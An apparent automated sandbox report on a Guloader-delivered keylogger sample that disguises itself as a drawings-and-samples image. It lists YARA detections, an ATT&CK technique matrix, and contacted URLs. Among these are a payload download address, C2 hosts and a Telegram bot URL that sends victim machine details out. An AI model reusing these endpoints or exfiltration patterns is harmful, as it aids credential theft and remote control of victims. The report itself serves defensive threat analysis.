Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.22144177112.0000000035965000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.22140550905.00000000349E6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Drawing_Products_Materials_and_Samples_IMG.exe PID: 3392, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000002.00000002.22140550905.0000000034921000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Drawing_Products_Materials_and_Samples_IMG.exe PID: 3392, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Drawing_Products_Materials_and_Samples_IMG.exe PID: 3392, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	3 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	115 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	2 Obfuscated Files or Information	Security Account Manager	21 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Clipboard Data	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	131 Virtualization/Sandbox Evasion	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Drawing_Products_Materials_and_Samples_IMG.exe	32%	ReversingLabs	Win32.Trojan.Guloader
Drawing_Products_Materials_and_Samples_IMG.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\stub\Sophia.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\stub\Sophia.exe	32%	ReversingLabs	Win32.Trojan.Guloader

Source	Detection	Scanner	Label
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://cdp.thawte.com/ThawteTLSRSACAG1.crl0p	0%	Avira URL Cloud	safe
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	0%	Avira URL Cloud	safe
https://api.telegram.org	0%	Avira URL Cloud	safe
https://www.google.com/search?q=tedst&sourceid=chrome&ie=UTF-8tedst	0%	Avira URL Cloud	safe
https://api.telegram.org/bot	0%	Avira URL Cloud	safe
https://www.google.com/search?q=backslash&sca_esv=620c24330b4497e4&sca_upv=1&ei=UDzhZpjjMZyIptQPqai-	0%	Avira URL Cloud	safe
https://www.office.com/lB	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%2024/09/2024%20/%2010:31:19%0D%0ACountry%20Name:%20Czechia%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	0%	Avira URL Cloud	safe
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtedst%26oq%3Dtedst%2	0%	Avira URL Cloud	safe
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/79.127.132.20	0%	Avira URL Cloud	safe
https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BD2763DD2	0%	Avira URL Cloud	safe
http://www.gopher.ftp://ftp.	0%	Avira URL Cloud	safe
https://www.google.com/chrome/	0%	Avira URL Cloud	safe
http://varders.kozow.com:8081	0%	Avira URL Cloud	safe
https://chrome.google.com/webstore?hl=en	0%	Avira URL Cloud	safe
https://www.google.com/search?q=tedst&oq=tedst&gs_lcrp=EgZjaHJvbWUyBggAEEUYOdIBBzkwNGowajSoAgCwAgE&s	0%	Avira URL Cloud	safe
https://www.google.com/search?q=tedst&sourceid=chrome&ie=UTF-8tedst;	0%	Avira URL Cloud	safe
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	0%	Avira URL Cloud	safe
http://checkip.dyndns.org/	0%	Avira URL Cloud	safe
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	Avira URL Cloud	safe
http://64.188.18.75/ReySnONaTTPqhXrIqUlWWanbq212.bin	0%	Avira URL Cloud	safe
http://status.thawte.com0:	0%	Avira URL Cloud	safe
http://64.188.18.75/ReySnONaTTPqhXrIqUlWWanbq212.binp	0%	Avira URL Cloud	safe
http://checkip.dyndns.org/q	0%	Avira URL Cloud	safe
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	0%	Avira URL Cloud	safe
https://api.telegram	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/	0%	Avira URL Cloud	safe
https://www.google.com/chromeGoogle	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	Avira URL Cloud	safe
https://www.google.com/chrome/next-steps.html?statcb=0&installdataindex=empty&defaultbrowser=0	0%	Avira URL Cloud	safe
https://www.google.com/chrome/next-steps.html?statcb=0&installdataindex=empty&defaultbrowser=0Google	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20a	0%	Avira URL Cloud	safe
https://www.office.com/	0%	Avira URL Cloud	safe
http://checkip.dyndns.org	0%	Avira URL Cloud	safe
http://nsis.sf.net/NSIS_ErrorError	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=	0%	Avira URL Cloud	safe
https://www.ecosia.org/newtab/	0%	Avira URL Cloud	safe
http://cacerts.thawte.com/ThawteTLSRSACAG1.crt0	0%	Avira URL Cloud	safe
https://www.google.com/favicon.ico	0%	Avira URL Cloud	safe
http://smtp.zoho.eu	0%	Avira URL Cloud	safe
https://ac.ecosia.org/autocomplete?q=	0%	Avira URL Cloud	safe
http://aborters.duckdns.org:8081	0%	Avira URL Cloud	safe
https://www.google.com/chrome/Google	0%	Avira URL Cloud	safe
https://www.google.com/chrome	0%	Avira URL Cloud	safe
http://nsis.sf.net/NSIS_Error	0%	Avira URL Cloud	safe
http://anotherarmy.dns.army:8081	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org	0%	Avira URL Cloud	safe
https://www.google.com/search?q=backslash&sourceid=chrome&ie=UTF-8backslash	0%	Avira URL Cloud	safe
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	0%	Avira URL Cloud	safe
http://51.38.247.67:8081/_send_.php?L	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/79.127.132.20$	0%	Avira URL Cloud	safe
https://www.google.com/search?q=backslash&sourceid=chrome&ie=UTF-8https://www.google.com/search?q=ba	0%	Avira URL Cloud	safe
http://api.telegram.org	0%	Avira URL Cloud	safe
https://www.google.com/	0%	Avira URL Cloud	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	Avira URL Cloud	safe
https://gemini.google.com/app?q=	0%	Avira URL Cloud	safe
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
smtp.zoho.eu	185.230.214.164	true	true	unknown
reallyfreegeoip.org	172.67.177.134	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	158.101.44.242	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%2024/09/2024%20/%2010:31:19%0D%0ACountry%20Name:%20Czechia%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/79.127.132.20	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/	false	Avira URL Cloud: safe	unknown
http://64.188.18.75/ReySnONaTTPqhXrIqUlWWanbq212.bin	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/search?q=backslash&sca_esv=620c24330b4497e4&sca_upv=1&ei=UDzhZpjjMZyIptQPqai-	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DBA000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035D94000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034ABE000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.00000000349D1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034ABE000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.00000000349D1000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cdp.thawte.com/ThawteTLSRSACAG1.crl0p	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.0000000036960000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.000000003697C000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22124915981.0000000004738000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A4A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/search?q=tedst&sourceid=chrome&ie=UTF-8tedst	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035ABE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.office.com/lB	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A86000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000001.17726016358.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtedst%26oq%3Dtedst%2	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035D94000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BD2763DD2	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DE4000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DA2000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035AB0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000001.17726016358.0000000000626000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://chrome.google.com/webstore?hl=en	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A8B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.gopher.ftp://ftp.	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000001.17726016358.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
http://varders.kozow.com:8081	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034921000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/search?q=tedst&oq=tedst&gs_lcrp=EgZjaHJvbWUyBggAEEUYOdIBBzkwNGowajSoAgCwAgE&s	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035D94000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome/	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035AB0000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DE2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/search?q=tedst&sourceid=chrome&ie=UTF-8tedst;	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DB0000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DFE000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035ABE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000001.17726016358.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://status.thawte.com0:	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.0000000036960000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.000000003697C000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22124915981.0000000004738000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A4A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/q	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000001.17726016358.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
http://64.188.18.75/ReySnONaTTPqhXrIqUlWWanbq212.binp	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22124915981.00000000046DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034ABE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chromeGoogle	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DC8000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035AA2000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035D94000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034921000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.000000003496A000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome/next-steps.html?statcb=0&installdataindex=empty&defaultbrowser=0	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DB8000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035AC6000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.00000000349E6000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035E0D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.office.com/	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A8B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome/next-steps.html?statcb=0&installdataindex=empty&defaultbrowser=0Google	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035D94000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20a	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034ABE000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.00000000349D1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A9B000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034921000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034AA6000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A90000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	Drawing_Products_Materials_and_Samples_IMG.exe, Sophia.exe.2.dr	false	Avira URL Cloud: safe	unknown
